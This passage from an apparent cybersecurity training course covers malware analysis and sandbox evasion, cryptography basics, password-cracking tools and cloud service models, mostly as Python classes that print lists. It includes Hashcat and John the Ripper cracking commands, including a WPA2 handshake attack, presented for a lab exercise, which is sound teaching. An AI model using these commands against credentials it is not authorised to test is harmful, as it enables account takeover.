                "description": "Wait for mouse movement/keyboard input",
                "counter": "Simulate user activity"
            },
            "Anti-Sandbox": {
                "description": "Check for common sandbox artifacts",
                "counter": "Customize sandbox environment"
            }
        }

    def display_evasion(self):
        """Display sandbox evasion techniques"""
        print("=== Sandbox Evasion Techniques ===\n")

        for technique, info in self.evasion_techniques.items():
            print(f"🔹 {technique}")
            print(f"   Description: {info['description']}")
            print(f"   Counter: {info['counter']}")
            print()

# Example
evasion = SandboxEvasion()
evasion.display_evasion()

8.6.2 How to Counter Sandbox Evasion

class CounterEvasion:
    """Countering sandbox evasion"""

    def __init__(self):
        self.counter_techniques = {
            "Manual Analysis": "Analyze the malware without automated tools",
            "Hybrid Analysis": "Combine static and dynamic techniques",
            "Unpacking": "Extract packed code from memory",
            "Debugger Patching": "Patch anti-debugging checks",
            "Environment Customization": "Customize sandbox environment"
        }

        self.tools_for_counter = {
            "x64dbg": "Debug and patch anti-debugging code",
            "Ghidra": "Static analysis of unpacked code",
            "Unpacker": "Custom unpacking scripts",
            "Memory Dump": "Dump unpacked code from memory"
        }

    def display_counter(self):
        """Display counter techniques"""
        print("=== Countering Sandbox Evasion ===\n")

        print("🔧 Counter Techniques:")
        for technique in self.counter_techniques:
            print(f"   - {technique}")

        print("\n🛠️ Tools:")
        for tool, purpose in self.tools_for_counter.items():
            print(f"   - {tool}: {purpose}")

# Example
counter_evasion = CounterEvasion()
counter_evasion.display_counter()

8.7 FINAL PRACTICAL PROJECT: Analyze a Suspicious File

class MalwareAnalysisProject:
    """Complete malware analysis project"""

    def __init__(self):
        self.project_deliverables = {
            "Malware Analysis Report": "Comprehensive analysis document",
            "YARA Signatures": "Custom detection signatures",
            "IOC Extraction": "Indicators of compromise",
            "Behavioral Analysis": "Summary of behavior",
            "Detection Recommendations": "How to detect this malware"
        }

        self.analysis_flow = [
            "1. File Identification",
            "2. Hash Generation",
            "3. VirusTotal Lookup",
            "4. Static Analysis",
            "5. Dynamic Analysis",
            "6. IOC Extraction",
            "7. YARA Rule Creation",
            "8. Report Generation"
        ]

    def display_project(self):
        """Display project details"""
        print("=== Malware Analysis Project ===\n")

        print("📋 Deliverables:")
        for deliverable, description in self.project_deliverables.items():
            print(f"   - {deliverable}: {description}")

        print("\n📊 Analysis Flow:")
        for step in self.analysis_flow:
            print(f"   {step}")

        print("\n📌 Report Structure:")
        print("   - Executive Summary")
        print("   - Technical Details")
        print("   - Behavioral Analysis")
        print("   - IOCs")
        print("   - Detection Signatures")
        print("   - Recommendations")

# Example
malware_project = MalwareAnalysisProject()
malware_project.display_project()

8.8 Certification Path for Reverse Engineering

class ReverseEngineeringCerts:
    """Reverse engineering certifications"""

    def __init__(self):
        self.certifications = {
            "GIAC GREM": {
                "full_name": "GIAC Reverse Engineering Malware",
                "focus": "Malware analysis and reverse engineering",
                "level": "Advanced",
                "vendor": "GIAC/SANS"
            },
            "FOR610": {
                "full_name": "Reverse-Engineering Malware",
                "focus": "Practical malware analysis",
                "level": "Advanced",
                "vendor": "SANS"
            },
            "CRTP": {
                "full_name": "Certified Red Team Professional",
                "focus": "Red team operations (includes reverse engineering)",
                "level": "Intermediate",
                "vendor": "Pentester Academy"
            }
        }

    def display_certifications(self):
        """Display reverse engineering certifications"""
        print("=== Reverse Engineering Certifications ===\n")

        for cert, info in self.certifications.items():
            print(f"🔹 {cert} - {info['full_name']}")
            print(f"   Focus: {info['focus']}")
            print(f"   Level: {info['level']}")
            print(f"   Vendor: {info['vendor']}")
            print()

# Example
re_certs = ReverseEngineeringCerts()
re_certs.display_certifications()

PHASE 8 SUMMARY

You have now completed Phase 8: Reverse Engineering & Malware Analysis.

Key Topics Covered:

TopicKey Concepts
Reverse EngineeringPurpose, applications, binary formats
Analysis EnvironmentIsolation, virtual machines, tools
Static AnalysisStrings, file command, PE analysis, Ghidra, IDA Pro
Dynamic AnalysisProcess Monitor, Regshot, Wireshark, debugging
Automated AnalysisCuckoo Sandbox, ANY.RUN
Ransomware AnalysisComplete walkthrough, IOC extraction
YARA RulesMalware detection signatures
Sandbox EvasionDetection techniques and countermeasures

Practical Examples Completed:

  • Static analysis techniques
  • String extraction and analysis
  • PE file structure analysis
  • Dynamic analysis with Process Monitor
  • Network behaviour analysis
  • Cuckoo Sandbox usage
  • Ransomware analysis walkthrough
  • YARA rule creation
  • Complete malware analysis project

PHASE 9: CRYPTOGRAPHY & ENCRYPTION

9.1 Fundamental Concepts

Cryptography is the mathematical discipline that makes all secure communication possible. Every secure system in existence relies on cryptography. When you connect to a bank website over HTTPS, cryptography establishes that you are genuinely connected to the bank and not to an attacker’s server, and it encrypts your session so that no observer can read your credentials or account data.

Why Cryptography Matters in Security:

PurposeDescription
ConfidentialityEnsuring only authorized parties can read data
IntegrityEnsuring data hasn’t been modified
AuthenticationVerifying the identity of parties
Non-RepudiationPreventing denial of actions
Secure CommunicationEnabling secure data transmission
Data ProtectionProtecting stored data

9.1.1 What is Cryptography

Definition: Cryptography is the practice and study of techniques for secure communication in the presence of adversaries. It involves constructing and analyzing protocols that prevent third parties from reading private messages.

History of Cryptography:

EraDevelopmentSignificance
AncientCaesar CipherFirst documented cipher
Middle AgesVigenère CipherPolyalphabetic encryption
World War IIEnigma MachineComplex rotor cipher
1970sDESFirst standard encryption
1976Public Key CryptographyRevolutionized encryption
1977RSAFirst public-key system
2001AESCurrent standard encryption

Goals of Cryptography:

GoalDescriptionExample
ConfidentialityData is readable only by authorized partiesEncryption
IntegrityData has not been alteredDigital signatures, hashing
AuthenticationIdentity of sender is verifiedDigital signatures, certificates
Non-RepudiationSender cannot deny sending the messageDigital signatures

Kerckhoffs’s Principle:

“A cryptographic system should be secure even if everything about the system, except the key, is public knowledge.”

This principle states that the security of a cryptosystem should not rely on keeping the algorithm secret. The algorithm should be public, and only the key should be secret. This is why modern cryptographic algorithms like AES are publicly documented and analyzed.

class CryptographyConcepts:
    """Fundamental cryptography concepts"""

    def __init__(self):
        self.goals = {
            "Confidentiality": "Data is readable only by authorized parties",
            "Integrity": "Data has not been altered",
            "Authentication": "Identity of sender is verified",
            "Non-Repudiation": "Sender cannot deny sending"
        }

        self.applications = {
            "SSL/TLS": "Secure web browsing (HTTPS)",
            "Digital Signatures": "Software authenticity, legal documents",
            "SSH": "Secure remote access",
            "VPN": "Secure network communication",
            "PGP": "Email encryption",
            "Blockchain": "Cryptocurrency and smart contracts"
        }

    def display_concepts(self):
        """Display cryptography concepts"""
        print("=== Cryptography Concepts ===\n")

        print("🎯 Goals of Cryptography:")
        for goal, description in self.goals.items():
            print(f"   - {goal}: {description}")

        print("\n📋 Modern Applications:")
        for application, description in self.applications.items():
            print(f"   - {application}: {description}")

# Example
crypto_concepts = CryptographyConcepts()
crypto_concepts.display_concepts()

9.1.2 Encryption Basics

Encryption is the process of converting plaintext (readable data) into ciphertext (unreadable data) using a key. Decryption reverses this process.

Symmetric Encryption (AES)

Definition: Symmetric encryption uses the same key for both encryption and decryption. The sender and receiver must both possess the same secret key before communication can occur.

AES (Advanced Encryption Standard):

  • The dominant symmetric encryption algorithm
  • Selected through a public competition in 2001
  • Uses 128-bit blocks
  • Supports key lengths: 128, 192, and 256 bits
  • Considered secure for the foreseeable future

How AES Works:

AES is a block cipher that applies a series of transformations in multiple rounds:

RoundOperations
SubBytesSubstitution using a fixed lookup table (S-box)
ShiftRowsShifting rows of the block state
MixColumnsMixing columns using polynomial multiplication
AddRoundKeyXORing with the round key
import hashlib
import secrets
import base64

class SymmetricEncryption:
    """Symmetric encryption concepts and examples"""

    def __init__(self):
        self.aes_modes = {
            "ECB": "Electronic Codebook (not secure - DO NOT USE)",
            "CBC": "Cipher Block Chaining (requires IV)",
            "CTR": "Counter Mode (stream cipher mode)",
            "GCM": "Galois/Counter Mode (authenticated encryption)"
        }

    def display_aes(self):
        """Display AES concepts"""
        print("=== Symmetric Encryption (AES) ===\n")

        print("📊 AES Modes of Operation:")
        for mode, description in self.aes_modes.items():
            print(f"   - {mode}: {description}")

        print("\n🎯 AES Key Sizes:")
        print("   - AES-128: 128-bit key (10 rounds)")
        print("   - AES-192: 192-bit key (12 rounds)")
        print("   - AES-256: 256-bit key (14 rounds)")

        print("\n🔧 Key Management Challenges:")
        print("   - Secure key distribution")
        print("   - Secure key storage")
        print("   - Key rotation and lifecycle")
        print("   - Key compromise response")

        print("\n✅ Use Cases:")
        print("   - File encryption (encrypted files)")
        print("   - Disk encryption (BitLocker, LUKS)")
        print("   - VPN (IPSec, OpenVPN)")
        print("   - SSL/TLS (part of the handshake)")

# Example
symmetric = SymmetricEncryption()
symmetric.display_aes()

Asymmetric Encryption (RSA)

Definition: Asymmetric encryption uses a pair of mathematically related keys — a public key and a private key. Data encrypted with the public key can only be decrypted with the corresponding private key.

RSA (Rivest-Shamir-Adleman):

  • Most widely deployed asymmetric algorithm
  • Security rests on the integer factorisation problem
  • Uses key lengths: 2048, 3072, and 4096 bits
  • Much slower than symmetric encryption
  • Used for key exchange and digital signatures
class AsymmetricEncryption:
    """Asymmetric encryption concepts"""

    def __init__(self):
        self.rsa_key_sizes = {
            "2048": "Minimum acceptable (until 2030)",
            "3072": "Good for long-term security",
            "4096": "Very strong (slower performance)"
        }

        self.use_cases = {
            "SSL/TLS": "Certificate-based authentication",
            "Digital Signatures": "Authenticating software and documents",
            "Email Encryption": "PGP/GPG",
            "SSH": "Secure remote access",
            "Key Exchange": "Diffie-Hellman"
        }

    def display_rsa(self):
        """Display RSA concepts"""
        print("=== Asymmetric Encryption (RSA) ===\n")

        print("📊 RSA Key Sizes:")
        for size, description in self.rsa_key_sizes.items():
            print(f"   - {size}-bit: {description}")

        print("\n🎯 Use Cases:")
        for use_case, description in self.use_cases.items():
            print(f"   - {use_case}: {description}")

        print("\n🔑 Public/Private Key Pairs:")
        print("   - Public Key: Shared with everyone (encryption, verification)")
        print("   - Private Key: Keep secret (decryption, signing)")

        print("\n💡 Why RSA is Slower than AES:")
        print("   - RSA uses large prime numbers and modular exponentiation")
        print("   - AES uses simple operations (XOR, substitution, permutation)")
        print("   - RSA is typically used for small data (keys, signatures)")

# Example
asymmetric = AsymmetricEncryption()
asymmetric.display_rsa()

ECC (Elliptic Curve Cryptography)

Definition: ECC provides equivalent security to RSA with significantly shorter key lengths. A 256-bit ECC key provides approximately the same security as a 3072-bit RSA key.

ECC Advantages:

AdvantageDescription
Smaller Keys256-bit ECC = 3072-bit RSA
FasterBetter performance, less computational cost
Lower PowerIdeal for mobile and IoT devices
Forward SecrecySupports ephemeral key exchange
class ECCConcepts:
    """Elliptic Curve Cryptography concepts"""

    def __init__(self):
        self.ecc_curves = {
            "P-256": "NIST standard, widely supported",
            "P-384": "Stronger security, more computation",
            "P-521": "Very strong, slower performance",
            "Curve25519": "Designed for performance, high security"
        }

        self.use_cases = {
            "TLS 1.3": "Modern HTTPS connections",
            "SSH": "Secure shell key exchange",
            "Blockchain": "Cryptocurrency (Bitcoin, Ethereum)",
            "Mobile": "Low-power devices",
            "IoT": "Constrained devices"
        }

    def display_ecc(self):
        """Display ECC concepts"""
        print("=== Elliptic Curve Cryptography (ECC) ===\n")

        print("📊 Common Curves:")
        for curve, description in self.ecc_curves.items():
            print(f"   - {curve}: {description}")

        print("\n🎯 Use Cases:")
        for use_case, description in self.use_cases.items():
            print(f"   - {use_case}: {description}")

        print("\n🔧 Key Size Comparison:")
        print("   ECC 256-bit = RSA 3072-bit")
        print("   ECC 384-bit = RSA 7680-bit")
        print("   ECC 521-bit = RSA 15360-bit")

        print("\n💡 Benefits:")
        print("   - Smaller keys = faster processing")
        print("   - Lower power consumption")
        print("   - Less storage required")
        print("   - Faster key generation")

# Example
ecc = ECCConcepts()
ecc.display_ecc()

9.1.3 Hashing (Very Important for Security)

Definition: A cryptographic hash function takes input of arbitrary size and produces a fixed-size output — the hash, digest, or checksum.

Properties of Cryptographic Hash Functions:

PropertyDescription
Pre-image ResistanceCannot reverse the hash to find the input
Second Pre-image ResistanceCannot find a different input with the same hash
Collision ResistanceCannot find two different inputs with the same hash
Avalanche EffectSmall change in input → completely different hash

Common Hash Algorithms:

AlgorithmOutput SizeStatus
MD5128-bitBroken – DO NOT USE
SHA-1160-bitBroken – DO NOT USE
SHA-256256-bitSecure (current standard)
SHA-512512-bitSecure
SHA-3VariableSecure (latest standard)
import hashlib

class HashingConcepts:
    """Hashing concepts and examples"""

    def __init__(self):
        self.hash_algorithms = {
            "MD5": "128-bit, BROKEN (collision attacks)",
            "SHA-1": "160-bit, BROKEN (collision attacks)",
            "SHA-256": "256-bit, SECURE (current standard)",
            "SHA-512": "512-bit, SECURE",
            "SHA-3": "Variable, SECURE (latest standard)"
        }

    def demonstrate_hashing(self):
        """Demonstrate hashing"""
        print("=== Cryptographic Hashing ===\n")

        print("📊 Hash Algorithms:")
        for algo, status in self.hash_algorithms.items():
            print(f"   - {algo}: {status}")

        # Example hashing
        data = "Hello, World!"
        print(f"\n💻 Example: Hashing '{data}'")
        print(f"   MD5:    {hashlib.md5(data.encode()).hexdigest()}")
        print(f"   SHA-1:  {hashlib.sha1(data.encode()).hexdigest()}")
        print(f"   SHA-256:{hashlib.sha256(data.encode()).hexdigest()}")
        print(f"   SHA-512:{hashlib.sha512(data.encode()).hexdigest()}")

        print("\n🔧 Avalanche Effect Demo:")
        data1 = "Hello, World!"
        data2 = "Hello, World."
        hash1 = hashlib.sha256(data1.encode()).hexdigest()
        hash2 = hashlib.sha256(data2.encode()).hexdigest()
        print(f"   '{data1}': {hash1[:32]}...")
        print(f"   '{data2}': {hash2[:32]}...")
        print("   ✅ Hashes are completely different (avalanche effect)")

    def password_hashing(self):
        """Password hashing concepts"""
        print("\n=== Password Hashing ===\n")

        print("🔑 Password Hashing vs Regular Hashing:")
        print("   - Regular hashing: Fast (SHA-256, SHA-512)")
        print("   - Password hashing: Slow (bcrypt, Argon2, PBKDF2)")
        print("   ⚠️ Speed is the enemy of password security")

        print("\n🛡️ Password Hashing Algorithms:")
        print("   - bcrypt: Widely used, configurable work factor")
        print("   - Argon2: Winner of Password Hashing Competition (2015)")
        print("   - PBKDF2: NIST-approved, widely supported")
        print("   - scrypt: Memory-hard, resistant to GPU attacks")

        print("\n💡 Why Speed Matters:")
        print("   - Fast algorithms: billions of hashes/second on GPU")
        print("   - Slow algorithms: thousands of hashes/second on GPU")
        print("   - Slow algorithms make offline cracking impractical")

# Example
hashing = HashingConcepts()
hashing.demonstrate_hashing()
hashing.password_hashing()

9.1.4 Digital Signatures

Definition: A digital signature is a mathematical scheme that verifies the authenticity and integrity of digital messages or documents.

How Digital Signatures Work:

StepDescription
1. HashCreate a hash of the message
2. EncryptEncrypt the hash with the private key
3. SendSend the message and signature
4. VerifyDecrypt signature with public key, compare hashes

Key Properties:

PropertyDescription
AuthenticationProves the sender’s identity
IntegrityProves the message hasn’t been modified
Non-RepudiationSender cannot deny sending the message
class DigitalSignatures:
    """Digital signature concepts"""

    def __init__(self):
        self.certificate_chain = {
            "Root CA": "Trusted certificate authority (self-signed)",
            "Intermediate CA": "Issued by root CA, issues certificates",
            "End-Entity": "Server, client, or code certificate"
        }

        self.certificate_types = {
            "SSL/TLS Server": "Web server certificates",
            "SSL/TLS Client": "Client authentication certificates",
            "Code Signing": "Software authenticity",
            "Email": "S/MIME, PGP",
            "Document Signing": "Legal documents"
        }

    def display_digital_signatures(self):
        """Display digital signature concepts"""
        print("=== Digital Signatures ===\n")

        print("📋 Certificate Trust Chain:")
        for entity, description in self.certificate_chain.items():
            print(f"   - {entity}: {description}")

        print("\n📊 Certificate Types:")
        for cert_type, description in self.certificate_types.items():
            print(f"   - {cert_type}: {description}")

        print("\n🔑 PKI (Public Key Infrastructure):")
        print("   - Certificate Authorities (CAs)")
        print("   - Registration Authorities (RAs)")
        print("   - Certificate Revocation Lists (CRLs)")
        print("   - Online Certificate Status Protocol (OCSP)")

        print("\n💻 Example: Code Signing")
        print("   - Software developers sign their code")
        print("   - Users can verify the signature")
        print("   - Ensures the code hasn't been tampered with")

# Example
digital_sigs = DigitalSignatures()
digital_sigs.display_digital_signatures()

9.1.5 Steganography

Definition: Steganography is the practice of concealing a message or data within another, non-secret medium. The existence of the hidden data should not be apparent.

Steganography vs Encryption:

AspectEncryptionSteganography
GoalMake data unreadableHide data’s existence
VisibleCiphertext is visibleHidden in cover media
DetectionCan be detected as encryptedMay go unnoticed
PurposeConfidentialityCovert communication

Common Steganographic Techniques:

TechniqueDescription
LSB SteganographyHiding data in the least significant bits of images
DCT SteganographyHiding data in JPEG DCT coefficients
Audio SteganographyHiding data in audio files
Text SteganographyHiding data in text (spacing, formatting)
Network SteganographyHiding data in network packets
class SteganographyConcepts:
    """Steganography concepts"""

    def __init__(self):
        self.techniques = {
            "LSB (Least Significant Bit)": "Hide data in image pixel bits",
            "DCT (Discrete Cosine Transform)": "Hide data in JPEG coefficients",
            "Audio": "Hide data in audio frequencies",
            "Text": "Hide data in whitespace, formatting",
            "Network": "Hide data in network traffic"
        }

        self.detection_methods = {
            "Statistical Analysis": "Analyze pixel/byte distributions",
            "Visual Analysis": "Look for anomalies in images",
            "Signal Analysis": "Detect unusual patterns in audio",
            "Structural Analysis": "Check for file structure anomalies"
        }

    def display_steganography(self):
        """Display steganography concepts"""
        print("=== Steganography ===\n")

        print("📊 Techniques:")
        for technique, description in self.techniques.items():
            print(f"   - {technique}: {description}")

        print("\n🔍 Detection Methods (Steganalysis):")
        for method, description in self.detection_methods.items():
            print(f"   - {method}: {description}")

        print("\n💻 LSB Example:")
        print("   Original: Pixel value = 0b10101100 (172)")
        print("   Stego:    0b10101101 (173) - LSB changed from 0 to 1")
        print("   ✅ Human eye cannot detect the change")

        print("\n📌 Tools for Steganography:")
        print("   - Steghide: Image/audio steganography")
        print("   - OpenStego: Steganography tool")
        print("   - Zsteg: PNG/BMP steganography detection")
        print("   - StegSolve: Steganography analysis")

# Example
steganography = SteganographyConcepts()
steganography.display_steganography()

9.2 Real Tools (Hands-on)

9.2.1 OpenSSL (Encryption/Decryption)

OpenSSL is a comprehensive cryptographic toolkit that provides command-line tools for encryption, certificate management, and cryptographic testing.

class OpenSSLTool:
    """OpenSSL cryptographic toolkit"""

    def __init__(self):
        self.openssl_commands = {
            "Certificate Generation": {
                "Private Key": "openssl genrsa -out private.key 2048",
                "CSR": "openssl req -new -key private.key -out request.csr",
                "Self-Signed": "openssl req -new -x509 -key private.key -out certificate.crt -days 365"
            },
            "Encryption": {
                "Symmetric": "openssl enc -aes-256-cbc -in file.txt -out file.enc -k password",
                "Symmetric Decrypt": "openssl enc -d -aes-256-cbc -in file.enc -out file.txt -k password",
                "Asymmetric Encrypt": "openssl rsautl -encrypt -pubin -inkey public.key -in file.txt -out file.enc",
                "Asymmetric Decrypt": "openssl rsautl -decrypt -inkey private.key -in file.enc -out file.txt"
            },
            "Certificate Info": {
                "View Certificate": "openssl x509 -in certificate.crt -text -noout",
                "View CSR": "openssl req -in request.csr -text -noout",
                "Check Key": "openssl rsa -in private.key -check"
            }
        }

    def display_openssl(self):
        """Display OpenSSL usage"""
        print("=== OpenSSL Toolkit ===\n")

        for category, commands in self.openssl_commands.items():
            print(f"🔹 {category}:")
            for command, description in commands.items():
                print(f"   - {command}: {description}")
            print()

# Example
openssl = OpenSSLTool()
openssl.display_openssl()

9.2.2 Hashcat (Password Cracking)

Hashcat is the world’s fastest password recovery tool, using GPU acceleration for high-speed cracking.

class HashcatTool:
    """Hashcat password cracking"""

    def __init__(self):
        self.attack_modes = {
            "Dictionary": "Attack using a wordlist",
            "Brute Force": "Try all possible combinations",
            "Rule-Based": "Apply rules to wordlist entries",
            "Mask Attack": "Try patterns (e.g., ?l?l?l?d?d)",
            "Hybrid": "Combine dictionary + mask"
        }

        self.hash_modes = {
            0: "MD5",
            100: "SHA-1",
            1400: "SHA-256",
            1700: "SHA-512",
            3200: "bcrypt",
            22000: "WPA-PBKDF2-PMKID+EAPOL"
        }

    def display_hashcat(self):
        """Display Hashcat usage"""
        print("=== Hashcat Password Cracking ===\n")

        print("🎯 Attack Modes:")
        for mode, description in self.attack_modes.items():
            print(f"   - {mode}: {description}")

        print("\n🔧 Common Hash Types:")
        for mode, hash_type in self.hash_modes.items():
            print(f"   - {mode}: {hash_type}")

        print("\n💻 Example Commands:")
        print("   # MD5 dictionary attack")
        print("   hashcat -m 0 -a 0 hash.txt wordlist.txt")
        print("   # SHA-256 with rules")
        print("   hashcat -m 1400 -a 0 hash.txt wordlist.txt -r rules/best64.rule")
        print("   # WPA2 handshake")
        print("   hashcat -m 22000 -a 0 handshake.hc22000 wordlist.txt")

# Example
hashcat = HashcatTool()
hashcat.display_hashcat()

9.2.3 John the Ripper

John the Ripper is a popular password cracking tool known for its extensive features and customizability.

class JohnTheRipper:
    """John the Ripper password cracking"""

    def __init__(self):
        self.john_modes = {
            "Single Crack": "Use username and GECOS info",
            "Wordlist": "Dictionary attack with wordlist",
            "Incremental": "Brute force attack",
            "External": "Custom cracking modes",
            "Markov": "Markov chain attack"
        }

        self.john_features = {
            "Custom Rules": "Create rules for wordlist mutations",
            "Session Management": "Pause and resume cracking",
            "Format Detection": "Automatically detect hash formats",
            "GPU Support": "OpenCL acceleration"
        }

    def display_john(self):
        """Display John the Ripper usage"""
        print("=== John the Ripper ===\n")

        print("🎯 Cracking Modes:")
        for mode, description in self.john_modes.items():
            print(f"   - {mode}: {description}")

        print("\n🔧 Features:")
        for feature, description in self.john_features.items():
            print(f"   - {feature}: {description}")

        print("\n💻 Example Commands:")
        print("   # Wordlist attack")
        print("   john --wordlist=wordlist.txt hash.txt")
        print("   # Incremental mode")
        print("   john --incremental hash.txt")
        print("   # Show cracked passwords")
        print("   john --show hash.txt")
        print("   # Custom rules")
        print("   john --wordlist=wordlist.txt --rules hash.txt")

# Example
john = JohnTheRipper()
john.display_john()

9.3 FINAL PRACTICAL PROJECT: “Password Security Test Lab”

class PasswordSecurityLab:
    """Password security testing project"""

    def __init__(self):
        self.project_objectives = [
            "Setting up a password security lab",
            "Testing various password strengths",
            "Understanding real-world vulnerability",
            "Generating password policy recommendations"
        ]

        self.deliverables = {
            "Password Policy Recommendations": "Minimum requirements, complexity",
            "Security Testing Results": "Time to crack, success rates",
            "User Awareness Materials": "Training, best practices",
            "Password Manager Recommendations": "Tool recommendations"
        }

        self.test_scenarios = {
            "Weak Passwords": "password, 123456, admin, qwerty",
            "Medium Passwords": "Password123!, Summer2024, Winter@2024",
            "Strong Passwords": "Kf9#mP2$vL7q!H5n",
            "Reused Passwords": "Same password across multiple systems"
        }

    def display_project(self):
        """Display project details"""
        print("=== Password Security Test Lab ===\n")

        print("🎯 Project Objectives:")
        for objective in self.project_objectives:
            print(f"   - {objective}")

        print("\n📋 Deliverables:")
        for deliverable, description in self.deliverables.items():
            print(f"   - {deliverable}: {description}")

        print("\n📊 Test Scenarios:")
        for scenario, examples in self.test_scenarios.items():
            print(f"   - {scenario}: {examples}")

        print("\n💻 Lab Setup:")
        print("   1. Install Hashcat or John the Ripper")
        print("   2. Create test hashes from passwords")
        print("   3. Run cracking attacks")
        print("   4. Record results")
        print("   5. Generate recommendations")

        print("\n🔧 Password Policy Recommendations:")
        print("   - Minimum length: 12 characters")
        print("   - Require: uppercase, lowercase, numbers, special")
        print("   - Password history: 10 passwords")
        print("   - Maximum age: 90 days")
        print("   - MFA required")
        print("   - Ban common passwords")

# Example
password_lab = PasswordSecurityLab()
password_lab.display_project()

9.4 Certifications for Cryptography

class CryptographyCertifications:
    """Cryptography and security certifications"""

    def __init__(self):
        self.certifications = {
            "GIAC GCED": {
                "full_name": "GIAC Certified Enterprise Defender",
                "focus": "Enterprise security (cryptography included)",
                "level": "Advanced",
                "vendor": "GIAC/SANS"
            },
            "OSCP": {
                "full_name": "Offensive Security Certified Professional",
                "focus": "Penetration testing (cryptography skills)",
                "level": "Professional",
                "vendor": "Offensive Security"
            },
            "CISSP": {
                "full_name": "Certified Information Systems Security Professional",
                "focus": "Comprehensive security (cryptography domain)",
                "level": "Expert",
                "vendor": "ISC2"
            }
        }

    def display_certifications(self):
        """Display cryptography certifications"""
        print("=== Cryptography Certifications ===\n")

        for cert, info in self.certifications.items():
            print(f"🔹 {cert} - {info['full_name']}")
            print(f"   Focus: {info['focus']}")
            print(f"   Level: {info['level']}")
            print(f"   Vendor: {info['vendor']}")
            print()

# Example
crypto_certs = CryptographyCertifications()
crypto_certs.display_certifications()

You have now completed Phase 9: Cryptography & Encryption.

Key Topics Covered:

TopicKey Concepts
Cryptography BasicsGoals, history, Kerckhoffs’s principle
Symmetric EncryptionAES, key sizes, modes of operation
Asymmetric EncryptionRSA, ECC, public/private key pairs
HashingSHA-256, MD5 (broken), password hashing
Digital SignaturesSigning, verification, PKI, certificates
SteganographyHiding data, detection methods
OpenSSLCertificate management, encryption
HashcatPassword cracking, GPU acceleration
John the RipperPassword cracking, custom rules

Practical Examples Completed:

  • Hashing demonstration (MD5, SHA-256, SHA-512)
  • Avalanche effect demonstration
  • Password hashing concepts
  • Digital signature workflow
  • Steganography techniques
  • OpenSSL commands
  • Hashcat attack modes
  • Password security testing project

PHASE 10: CLOUD SECURITY & DEVSECOPS

10.1 Cloud Architecture

Cloud Computing is the delivery of computing services—including servers, storage, databases, networking, software, and analytics—over the internet (“the cloud”). Understanding cloud architecture is essential for security professionals because the cloud introduces unique security challenges and attack surfaces.

Why Cloud Security Matters:

ReasonDescription
Shared ResponsibilitySecurity is shared between provider and customer
Data LocationData may be stored across multiple jurisdictions
Rapid ProvisioningResources can be created quickly, often without security review
Complex Access ControlIAM policies can be complex and misconfigured
API ExposureCloud services are accessed via APIs
ComplianceData sovereignty and regulatory requirements

10.1.1 Cloud Service Models

Cloud services are categorized into three primary models, each with different levels of control and responsibility.

IaaS (Infrastructure as a Service):

Definition: IaaS provides virtualized computing resources over the internet. Customers can provision and manage virtual machines, storage, and networks.

ProviderServices
AWSEC2, S3, VPC
AzureVirtual Machines, Blob Storage, Virtual Network
GCPCompute Engine, Cloud Storage, VPC

PaaS (Platform as a Service):

Definition: PaaS provides a platform for developing, running, and managing applications without the complexity of building and maintaining the underlying infrastructure.

ProviderServices
AWSElastic Beanstalk, RDS
AzureApp Service, SQL Database
GCPApp Engine, Cloud SQL

SaaS (Software as a Service):

Definition: SaaS delivers software applications over the internet, on a subscription basis. The provider manages all infrastructure, middleware, and application software.

ProviderServices
Office 365Microsoft Office, Exchange, SharePoint
G SuiteGmail, Docs, Drive, Calendar
SalesforceCRM, Sales Cloud, Service Cloud

FaaS (Function as a Service):

Definition: FaaS allows developers to deploy individual functions or pieces of business logic that execute in response to events.

ProviderServices
AWSLambda
AzureFunctions
GCPCloud Functions
class CloudServiceModels:
    """Cloud service models and their security implications"""

    def __init__(self):
        self.models = {
            "IaaS": {
                "description": "Infrastructure as a Service",
                "examples": ["AWS EC2", "Azure VMs", "GCP Compute Engine"],
                "customer_manages": ["OS", "Apps", "Data"],
                "provider_manages": ["Network", "Storage", "Servers"]
            },
            "PaaS": {
                "description": "Platform as a Service",
                "examples": ["AWS Elastic Beanstalk", "Azure App Service", "GCP App Engine"],
                "customer_manages": ["Apps", "Data"],
                "provider_manages": ["Network", "Storage", "Servers", "OS"]
            },
            "SaaS": {
                "description": "Software as a Service",
                "examples": ["Office 365", "G Suite", "Salesforce"],
                "customer_manages": ["Data", "Access"],
                "provider_manages": ["Everything else"]
            },
            "FaaS": {
                "description": "Function as a Service",
                "examples": ["AWS Lambda", "Azure Functions", "GCP Cloud Functions"],
                "customer_manages": ["Code"],
                "provider_manages": ["Infrastructure", "Runtime"]
            }
        }

    def display_models(self):
        """Display cloud service models"""
        print("=== Cloud Service Models ===\n")

        for model, info in self.models.items():
            print(f"🔹 {model} - {info['description']}")
            print(f"   Examples: {', '.join(info['examples'])}")
            print(f"   Customer Manages: {', '.join(info['customer_manages'])}")
            print(f"   Provider Manages: {', '.join(info['provider_manages'])}")
            print()

# Example
cloud_models = CloudServiceModels()
cloud_models.display_models()

10.1.2 Cloud Deployment Models

ModelDescriptionSecurity Implications
Public CloudServices delivered over the internet, shared infrastructureShared responsibility, multi-tenant risks
Private CloudDedicated infrastructure for a single organizationFull control, higher cost
Hybrid CloudCombination of public and private cloudsIntegration security, data transfer
Multi-CloudUsing multiple public cloud providersComplex management, consistent policies
Community CloudShared by multiple organizations with common concernsShared governance, compliance
class CloudDeploymentModels:
    """Cloud deployment models"""

    def __init__(self):
        self.models = {
            "Public Cloud": {
                "description": "Services delivered over the internet",
                "examples": ["AWS", "Azure", "GCP"],
                "security": "Shared responsibility, multi-tenant risks"
            },
            "Private Cloud": {
                "description": "Dedicated infrastructure for single organization",
                "examples": ["OpenStack", "VMware vCloud"],
                "security": "Full control, higher cost"
            },
            "Hybrid Cloud": {
                "description": "Combination of public and private clouds",
                "examples": ["AWS Outposts", "Azure Stack"],
                "security": "Integration security, data transfer"
            },
            "Multi-Cloud": {
                "description": "Using multiple public cloud providers",
                "examples": ["AWS + Azure + GCP"],
                "security": "Complex management, consistent policies"
            }
        }

    def display_models(self):
        """Display cloud deployment models"""
        print("=== Cloud Deployment Models ===\n")

        for model, info in self.models.items():
            print(f"🔹 {model}")
            print(f"   Description: {info['description']}")
            print(f"   Examples: {info['examples']}")
            print(f"   Security: {info['security']}")
            print()

# Example
deployment_models = CloudDeploymentModels()
deployment_models.display_models()

10.1.3 AWS Security Testing

AWS (Amazon Web Services) is the largest cloud provider. Understanding AWS security is essential for cloud security professionals.

AWS Security Services:

ServicePurpose
IAMIdentity and Access Management
Security GroupsVirtual firewall for EC2 instances
NACLsNetwork Access Control Lists
CloudTrailAPI activity logging
ConfigResource configuration monitoring
GuardDutyThreat detection
InspectorVulnerability scanning
MacieData classification and protection
KMSKey Management Service

